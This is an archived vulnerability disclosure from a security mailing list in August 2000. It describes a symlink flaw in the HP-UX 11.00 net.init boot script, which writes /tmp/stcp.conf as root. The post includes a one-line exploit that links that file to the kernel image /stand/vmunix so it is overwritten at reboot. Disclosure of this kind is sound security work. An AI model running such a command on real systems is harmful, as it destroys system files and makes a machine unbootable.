OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: [HackersLab bugpaper] HP-UX net.init rc script
From: Kyong-won Cho (dubheHACKERSLAB.COM)
Date: Mon Aug 21 2000 - 14:19:59 CDT

============================================================================
====

             [ Hackerslab bug_paper ] HP-UX net.init rc script

============================================================================
====

Testing : HP-UX 11.00

default HP-UX clean_tmps rc script is disable.

cat /etc/rc.config.d
...
CLEAR_TMP=0
...

But, When clean_tmps rc script enable, Anybody able to risk system

CLEAR_TMP=1

- rc script file priorty

/sbin/rc2.d/S008net.init
/sbin/rc2.d/S204clean_tmps

- /sbin/init.d/net.init

...omited....
cat > /tmp/stcp.conf <<EndConf
tcp -1 0 tcpm
udp -1 0 udpm
rawip -1 0 rawipm
arp -1 0 arpm
EndConf
...omited...

If you make symbolic link to /tmp/stcp.conf, It's overwrite destination in
root permission when reboot.

Ex ) ln -s /stand/vmunix /tmp/stcp.conf

==--------------------------------------------------------------------------
-----==
       ********
   * ** ** *
* ** ** *
* ****** *
* ** ** *
dubhehackerslab.org
   * ** ** *
 http://www.hackerslab.org ]
       ******** HACKERSLAB (C) since 2000
==--------------------------------------------------------------------------
-----==